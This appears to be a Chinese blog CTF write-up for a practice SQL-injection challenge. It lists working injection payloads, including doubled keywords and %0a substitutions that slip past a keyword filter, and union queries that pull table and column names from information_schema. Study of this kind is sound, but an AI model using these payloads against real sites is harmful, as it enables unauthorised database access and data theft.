美文网首页
实验吧web-简单的sql注入之1

实验吧web-简单的sql注入之1

作者: Aluvion | 来源:发表于2018-01-20 14:00 被阅读0次

题目地址:http://ctf5.shiyanbar.com/423/web/

直接尝试提交'or '1,成功爆出数据,说明单引号和or、空格都没有被吃掉。

接下来再提交'union select 1%23,发现报错

这就说明,我们提交的SQL语句被做了什么处理,看报错的1'来看,应该是union、select和%23(#)

我们再次提交'ununionion selectselect 1--,看到报错

说明--也被吃掉了,而且后台对于union、select进行了处理,应该是将关键词和空格一起吃掉了。

再次提交'union%0aselect%0a1',看到正确结果

初步注入成功,接下来获取数据表名,同样是绕过过滤,这里的关键词过滤是吃掉它们一次,提交'union%0aselect%0agroupgroup_concat_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atabletable_schema_schema=database()%0aand'1

然后是列名,提交'union%0aselect%0agroupgroup_concat_concat(columncolumn_name_name)%0afrom%0ainformationinformation_schema.columns_schema.columns%0awhere%0atabletable_schema_schema=database()%0aand'1

getflag

getflag


the end

相关文章

网友评论

      本文标题:实验吧web-简单的sql注入之1

      本文链接:https://www.haomeiwen.com/subject/yectaxtx.html